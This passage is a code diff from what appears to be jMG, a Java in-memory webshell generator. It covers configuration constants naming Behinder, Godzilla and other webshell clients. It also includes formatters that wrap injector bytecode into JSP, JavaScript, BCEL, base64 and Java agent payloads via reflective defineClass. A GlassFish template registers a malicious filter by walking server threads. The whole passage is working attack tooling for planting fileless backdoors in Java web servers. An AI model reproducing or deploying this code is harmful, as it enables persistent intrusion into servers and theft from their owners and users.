this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
|
||||
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
|
||||
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
||||
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package jmg.core.config;
|
||||
|
||||
public class Constants {
|
||||
|
||||
public static final String JMG_VERSION = "1.0.8_240914";
|
||||
|
||||
public static final String JMG_NAME = "java-memshell-generator";
|
||||
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
|
||||
|
||||
public static final String JMG_AUTHOR = "pen4uin";
|
||||
|
||||
public static final String SERVER_TOMCAT = "Tomcat";
|
||||
public static final String SERVER_SPRING_MVC = "SpringMVC";
|
||||
public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
|
||||
|
||||
public static final String SERVER_JETTY = "Jetty";
|
||||
public static final String SERVER_RESIN = "Resin";
|
||||
public static final String SERVER_WEBLOGIC = "WebLogic";
|
||||
public static final String SERVER_WEBSPHERE = "WebSphere";
|
||||
public static final String SERVER_UNDERTOW = "Undertow";
|
||||
public static final String SERVER_GLASSFISH = "GlassFish";
|
||||
|
||||
public static final String SERVER_JBOSS = "JBoss";
|
||||
|
||||
|
||||
public static final String SHELL_LISTENER = "Listener";
|
||||
public static final String SHELL_FILTER = "Filter";
|
||||
public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
|
||||
public static final String SHELL_VALVE = "Valve";
|
||||
public static final String SHELL_INTERCEPTOR = "Interceptor";
|
||||
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
|
||||
public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
|
||||
public static final String FORMAT_CLASS = "CLASS";
|
||||
public static final String FORMAT_BCEL = "BCEL";
|
||||
public static final String FORMAT_JSP = "JSP";
|
||||
public static final String FORMAT_JAR = "JAR";
|
||||
public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
|
||||
public static final String FORMAT_JS = "JS";
|
||||
public static final String FORMAT_BASE64 = "BASE64";
|
||||
public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
|
||||
|
||||
|
||||
public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
|
||||
|
||||
public static final String GADGET_SNAKEYAML = "SnakeYaml";
|
||||
|
||||
public static final String GADGET_NONE = "NONE";
|
||||
|
||||
public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
|
||||
public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
|
||||
|
||||
public static final String TOOL_ANTSWORD = "AntSword";
|
||||
public static final String TOOL_BEHINDER = "Behinder";
|
||||
public static final String TOOL_GODZILLA = "Godzilla";
|
||||
|
||||
public static final String TOOL_CUSTOM = "Custom";
|
||||
|
||||
public static final String TOOL_NEOREGEORG = "Neo-reGeorg";
|
||||
public static final String TOOL_SUO5 = "Suo5";
|
||||
|
||||
public static final String EXPR_EL = "EL";
|
||||
public static final String EXPR_SPEL = "SpEL";
|
||||
public static final String EXPR_OGNL = "OGNL";
|
||||
public static final String EXPR_FREEMARKER = "FreeMarker";
|
||||
public static final String EXPR_VELOCITY = "Velocity";
|
||||
public static final String EXPR_JS = "ScriptEngineManager(JS)";
|
||||
|
||||
public static final String DETECT_DNS = "DNSLog";
|
||||
public static final String DETECT_HTTP = "HTTPLog";
|
||||
|
||||
public static final String DETECT_SLEEP = "Sleep";
|
||||
public static final String DETECT_DFSECHO = "DFSEcho";
|
||||
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package jmg.core.format;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.Base64;
|
||||
|
||||
public class BASE64Formater implements IFormater {
|
||||
@Override
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
Base64.Encoder base64Encoder = Base64.getEncoder();
|
||||
return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import me.gv7.woodpecker.bcel.HackBCELs;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class BCELFormater implements IFormater {
|
||||
|
||||
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
// 解决 BCEL 的classloader 的问题
|
||||
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
|
||||
return HackBCELs.encode(bcelClzBytes).getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class BCELoader {
|
||||
static {
|
||||
new BCELoader();
|
||||
}
|
||||
|
||||
private String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
private String getBase64String() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public BCELoader() {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
byte[] clazzBytes = decodeFromBase64(getBase64String());
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ee) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] decodeFromBase64(String input) {
|
||||
byte[] var2 = null;
|
||||
|
||||
Class var1;
|
||||
try {
|
||||
var1 = Class.forName("java.util.Base64");
|
||||
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
|
||||
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
var1 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object var4 = var1.newInstance();
|
||||
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return var2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
|
||||
public class BCELoaderGenerator {
|
||||
public static byte[] generatorBCELoaderClass(AbstractConfig config) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
|
||||
pool.insertClassPath(classPath);
|
||||
CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
|
||||
ctClass.setName(config.getLoaderClassName());
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
|
||||
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
|
||||
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
|
||||
String[] parts = splitChunks(base64ClassString, 40000);
|
||||
StringBuilder result = new StringBuilder();
|
||||
for (int i = 0; i < parts.length; i++) {
|
||||
if (i > 0) result.append("+");
|
||||
result.append("new String(\"" + parts[i] + "\")");
|
||||
}
|
||||
getBase64String.setBody(String.format("{return %s;}", result));
|
||||
ctClass.defrost();
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
byte[] bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static String encodeToBase64(byte[] input) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
private static String[] splitChunks(String source, int CHUNK_SIZE) {
|
||||
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
|
||||
char[] payload = source.toCharArray();
|
||||
int start = 0;
|
||||
for (int i = 0; i < ret.length; i++) {
|
||||
if (start + CHUNK_SIZE > payload.length) {
|
||||
char[] b = new char[payload.length - start];
|
||||
System.arraycopy(payload, start, b, 0, payload.length - start);
|
||||
ret[i] = new String(b);
|
||||
} else {
|
||||
char[] b = new char[CHUNK_SIZE];
|
||||
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
|
||||
ret[i] = new String(b);
|
||||
}
|
||||
start += CHUNK_SIZE;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package jmg.core.format;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.math.BigInteger;
|
||||
|
||||
public class BigIntegerFormater implements IFormater {
|
||||
@Override
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
return new BigInteger(clazzbyte).toString(36).getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package jmg.core.format;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public interface IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.template.SpringMVCAgentTransformer;
|
||||
import jmg.core.template.TomcatAgentTransformer;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
|
||||
import java.io.*;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Enumeration;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarFile;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
// todo: 其他中间件
|
||||
|
||||
public class JARAgentFormater implements IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
|
||||
String className = TomcatAgentTransformer.class.getName();
|
||||
String simpleName = TomcatAgentTransformer.class.getSimpleName();
|
||||
if (config.getServerType().equals(Constants.SERVER_TOMCAT)) {
|
||||
className = TomcatAgentTransformer.class.getName();
|
||||
simpleName = TomcatAgentTransformer.class.getSimpleName();
|
||||
} else if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)) {
|
||||
className = SpringMVCAgentTransformer.class.getName();
|
||||
simpleName = SpringMVCAgentTransformer.class.getSimpleName();
|
||||
} else {
|
||||
throw new RuntimeException(String.format("Java Agent 暂时只支持 %s、%s",Constants.SERVER_TOMCAT,Constants.SERVER_SPRING_MVC));
|
||||
}
|
||||
|
||||
String classFileName = simpleName.replace('.', '/') + ".class";
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
|
||||
// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
|
||||
|
||||
InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
|
||||
File jarFile = File.createTempFile("jmg-agent", ".jar");
|
||||
try (FileOutputStream out = new FileOutputStream(jarFile)) {
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
|
||||
Manifest manifest = createManifest(simpleName);
|
||||
File tempJarFile = File.createTempFile("tempJar", ".jar");
|
||||
|
||||
try (JarFile jar = new JarFile(jarFile);
|
||||
JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
|
||||
|
||||
copyJarEntries(jar, tempJar);
|
||||
|
||||
addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(), CommonUtil.encodeBase64(clazzbyte));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
|
||||
}
|
||||
|
||||
private Manifest createManifest(String simpleName) {
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
manifest.getMainAttributes().putValue("Agent-Class", simpleName);
|
||||
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
||||
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||
manifest.getMainAttributes().putValue("Main-Class", simpleName);
|
||||
return manifest;
|
||||
}
|
||||
|
||||
private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
|
||||
Enumeration<JarEntry> jarEntries = jar.entries();
|
||||
while (jarEntries.hasMoreElements()) {
|
||||
JarEntry entry = jarEntries.nextElement();
|
||||
try (InputStream entryInputStream = jar.getInputStream(entry)) {
|
||||
tempJar.putNextEntry(entry);
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = entryInputStream.read(buffer)) != -1) {
|
||||
tempJar.write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar, String injectFlag, String injectorCode) throws Exception {
|
||||
CtClass ctClass = pool.get(className);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
ctClass.setName(simpleName);
|
||||
JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
|
||||
tempJar.putNextEntry(new JarEntry(classFileName));
|
||||
tempJar.write(ctClass.toBytecode());
|
||||
ctClass.detach();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
public class JARFormater implements IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
String className = config.getInjectorClassName();
|
||||
String jarEntryFileName = className.replace(".", "/") + ".class";
|
||||
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
|
||||
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
|
||||
jarOutputStream.write(clazzbyte);
|
||||
jarOutputStream.closeEntry();
|
||||
|
||||
// fastjson + groovy 的利用
|
||||
if (config.isImplementsASTTransformationType()) {
|
||||
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
|
||||
JarEntry entry = new JarEntry(entryName);
|
||||
jarOutputStream.putNextEntry(entry);
|
||||
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
|
||||
jarOutputStream.closeEntry();
|
||||
}
|
||||
|
||||
// snakeyaml + loadJar 的利用
|
||||
if (config.isImplementsScriptEngineFactory()) {
|
||||
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
|
||||
JarEntry entry = new JarEntry(entryName);
|
||||
jarOutputStream.putNextEntry(entry);
|
||||
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
|
||||
jarOutputStream.closeEntry();
|
||||
}
|
||||
}
|
||||
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class JSPFormater implements IFormater {
|
||||
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
String strJSP = "<%\n" +
|
||||
" ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
|
||||
" try{\n" +
|
||||
" classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
|
||||
" }catch (Exception e){\n" +
|
||||
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
|
||||
" defineClass.setAccessible(true);\n" +
|
||||
" String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
|
||||
" byte[] bytecode = null;\n" +
|
||||
" try {\n" +
|
||||
" Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
|
||||
" Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
|
||||
" Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
|
||||
" bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
|
||||
" } catch (ClassNotFoundException ee) {\n" +
|
||||
" Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
|
||||
" bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
|
||||
" }\n" +
|
||||
" Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
" }\n" +
|
||||
"%>";
|
||||
return strJSP.getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class JavaScriptFormater implements IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
|
||||
"try{\n" +
|
||||
" classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
|
||||
"}catch (e){\n" +
|
||||
" var clsString = classLoader.loadClass('java.lang.String');\n" +
|
||||
" var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
|
||||
" var bytecode;\n" +
|
||||
" try{\n" +
|
||||
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
|
||||
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
|
||||
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
|
||||
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
|
||||
" } catch (ee) {\n" +
|
||||
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
|
||||
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
|
||||
" }\n" +
|
||||
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
|
||||
" var clsByteArray = classLoader.loadClass('[B');\n" +
|
||||
" var clsInt = java.lang.Integer.TYPE;\n" +
|
||||
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
|
||||
" defineClass.setAccessible(true);\n" +
|
||||
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
"}";
|
||||
return strJS.getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package jmg.core.generator;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
public interface IShellGenerator {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
void initShell(AbstractConfig config);
|
||||
|
||||
byte[] makeShell(AbstractConfig config) throws Exception;
|
||||
|
||||
byte[] modifyShell(String className, AbstractConfig config);
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package jmg.core.generator;
|
||||
|
||||
import javassist.*;
|
||||
import javassist.bytecode.AccessFlag;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.util.*;
|
||||
|
||||
|
||||
/**
|
||||
* 注入器生成
|
||||
*/
|
||||
public class InjectorGenerator {
|
||||
public byte[] makeInjector(AbstractConfig config) throws Exception {
|
||||
String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
|
||||
String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
|
||||
byte[] bytes = UtilPlus.generate(injectorClassName, config);
|
||||
config.setInjectorBytes(bytes);
|
||||
config.setInjectorBytesLength(bytes.length);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static class UtilPlus {
|
||||
@SuppressWarnings("unchecked")
|
||||
private final static ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
|
||||
pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
|
||||
CtClass ctClass = pool.getCtClass(injectorTplClassName);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
|
||||
|
||||
String urlPattern = config.getUrlPattern();
|
||||
String shellClassName = config.getShellClassName();
|
||||
|
||||
if (base64ShellString != null) {
|
||||
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||
String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
|
||||
StringBuilder result = new StringBuilder();
|
||||
for (int i = 0; i < parts.length; i++) {
|
||||
if (i > 0)
|
||||
result.append("+");
|
||||
result.append("new String(\"" + parts[i] + "\")");
|
||||
}
|
||||
|
||||
getBase64String.setBody(String.format("{return %s;}", result));
|
||||
}
|
||||
|
||||
if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
|
||||
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
|
||||
getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
|
||||
}
|
||||
|
||||
if (shellClassName != null) {
|
||||
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
|
||||
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
|
||||
}
|
||||
|
||||
if (config.isEnableBypassJDKModule()) {
|
||||
// 添加 bypassJDKModule 方法
|
||||
CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
|
||||
ctMethod.setModifiers(AccessFlag.PUBLIC);
|
||||
ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
|
||||
ctClass.addMethod(ctMethod);
|
||||
|
||||
// 添加 bypassJDKModule 调用
|
||||
CtConstructor constructor = ctClass.getConstructors()[0];
|
||||
constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
|
||||
constructor.insertBeforeBody("bypassJDKModule();");
|
||||
}
|
||||
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private static String[] splitChunks(String source, int CHUNK_SIZE) {
|
||||
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
|
||||
char[] payload = source.toCharArray();
|
||||
int start = 0;
|
||||
for (int i = 0; i < ret.length; i++) {
|
||||
if (start + CHUNK_SIZE > payload.length) {
|
||||
char[] b = new char[payload.length - start];
|
||||
System.arraycopy(payload, start, b, 0, payload.length - start);
|
||||
ret[i] = new String(b);
|
||||
} else {
|
||||
char[] b = new char[CHUNK_SIZE];
|
||||
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
|
||||
ret[i] = new String(b);
|
||||
}
|
||||
start += CHUNK_SIZE;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
package jmg.core;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.format.*;
|
||||
|
||||
public class jMGCodeApi {
|
||||
AbstractConfig config;
|
||||
|
||||
public jMGCodeApi(AbstractConfig config) {
|
||||
this.config = config;
|
||||
}
|
||||
|
||||
public byte[] generate() throws Throwable {
|
||||
byte[] clazzBytes;
|
||||
if (config.isEnabledExtender()) {
|
||||
clazzBytes = config.getExtenderBytes();
|
||||
} else {
|
||||
clazzBytes = config.getInjectorBytes();
|
||||
}
|
||||
if (clazzBytes == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// 格式转换
|
||||
byte[] bytes = null;
|
||||
switch (config.getOutputFormat()) {
|
||||
case Constants.FORMAT_BCEL:
|
||||
bytes = new BCELFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JSP:
|
||||
bytes = new JSPFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JAR:
|
||||
bytes = new JARFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JAR_AGENT:
|
||||
bytes = new JARAgentFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_JS:
|
||||
bytes = new JavaScriptFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_BASE64:
|
||||
bytes = new BASE64Formater().transform(clazzBytes, config);
|
||||
break;
|
||||
case Constants.FORMAT_BIGINTEGER:
|
||||
bytes = new BigIntegerFormater().transform(clazzBytes, config);
|
||||
break;
|
||||
default:
|
||||
bytes = clazzBytes;
|
||||
break;
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class GlassFishFilterInjectorTpl {
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new GlassFishFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public GlassFishFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
